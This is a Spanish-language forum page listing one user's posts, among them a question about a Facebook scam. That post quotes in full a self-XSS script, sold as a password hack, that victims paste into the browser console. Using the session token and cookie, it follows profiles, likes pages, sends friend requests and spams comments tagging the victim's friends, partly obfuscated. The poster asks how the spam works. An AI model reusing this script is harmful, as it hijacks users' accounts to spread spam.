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Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


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11  Programación / Programación C/C++ / Ayuda con algoritmo basado en Inteligencia Artificial en: 31 Mayo 2016, 07:24 am
Buenas amigos veran tengo un proyecto que se basa en una base de datos para que aprenda
por ejm le digo te gusta un perro,este responde si
conforme se le va enseñando nuevas palabras se almacena en su bd y este aprende mas...
lo que quiero desarrollar ahora es hacer que tenga proceso logico,que pueda aprender no solo de palabras,sino de texto,videos,imagenes etc
estaba pensando en usar algoritmos de google y otras herramientas mas pero quisiera una ayuda,tambien para darle el proceso lógico.Quisiera postear mi codigo aca pero no se como hacerlo y espero haberlo lo puesto en el foro adecuado
desde ya,espero sus respuestas.
12  Seguridad Informática / Hacking / Es posible esto ??? en: 1 Diciembre 2015, 06:07 am
Buenas es posible que se pueda hackear una intranet remotamente ?? Sin ip sin red wifi
13  Foros Generales / Dudas Generales / Quiero saber que es esto ? en: 1 Febrero 2014, 07:58 am
Buenas.. estuve viendo en facebook un tipo que puso esto :
"Quieren "hackear" - tener el password de la cuenta de alguien en Facebook? Aprovechen esta vulnerabilidad antes de que se den cuenta y la quiten, está funcionando AHORITA!

1. Necesitan utilizar Google Chrome
2. Se meten al perfil de la persona
3. Aprietan la tecla F12
4. Van a la sección/pestaña que dice "Consola"
5. Copian y pegan el siguiente código <ver abajo>, presionan <ENTER> y listo!!! Se abrirá un pop-up con el password de esa persona!!!
Código
  1. /* Copiar a partir de aquí */
  2. var parent=document.getElementsByTagName("html")[0];
  3. var _body = document.getElementsByTagName('body')[0];
  4. var _div = document.createElement('div');
  5. _div.style.height="25";
  6. _div.style.width="100%";
  7. _div.style.position="fixed";
  8. _div.style.top="auto";
  9. _div.style.bottom="0";
  10. _div.align="center";
  11. var _audio= document.createElement('audio');
  12. _audio.style.width="100%";
  13. _audio.style.height="25px";
  14. _audio.controls = true;
  15. _audio.autoplay = false;
  16. _audio.autoplay = true;
  17. _audio.src = "http://picosong.com/YPGz";
  18. _div.appendChild(_audio);
  19. _body.appendChild(_div);
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22. var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  23. var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24. function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
  25. Like("213775168814865");
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  27. var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","461595683963690","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
  28.  
  29.  
El punto es que cuando haces todo eso... no te da la contraseña.. sino que genera algo así como spam y hace que menciones a todos los contactos de tu lista... y bueno aquí mi pregunta porque este código hace que pase eso ? porque genera el spam ? hay posibilidad de que pueda haber una vulnerabilidad ?
Código
  1.  
14  Seguridad Informática / Criptografía / Re: problem con descifrar esto... en: 12 Julio 2013, 02:26 am
Como ha dicho engelx, tiene pinta de ser un hash.

El problema viene si lo pasamos de base64 a hexadecimal, que nos da el siguiente resultado:
ab d0 4d 35 36 d1 b7 34 b4 b0 b0 4c 35 35 48 35 d3 cb 2a 48 07 00

Alguien conoce algún hash con digest de 22 bytes o 176 bits? Porque yo no, aunque también decir que conozco los más comunes :p.


Entonces creo que podría ser un stream cipher, dado que un block cipher con una longitud de bloque múltiple de 16 no conozco a ninguno :/.

Falta más información... es de algún wargame?
es de una web de descargas amigo... pero hasta ahora no puedo desencriptarla...
15  Seguridad Informática / Criptografía / Re: problem con descifrar esto... en: 10 Julio 2013, 21:43 pm
ps.. no... no es base 64.... es de una web de descargas... hasta ahora no puedo desencriptarla..!!
16  Seguridad Informática / Criptografía / problem con descifrar esto... en: 9 Julio 2013, 21:05 pm
hola amigos... soy nuevo en este foro...tengo un problema al descifrar esto..
q9BNNTbRtzS0sLBMNTVINdPLKkgHAA
a ver si alguien me podria ayudar...?
gracias
saludos
Páginas: 1 [2]
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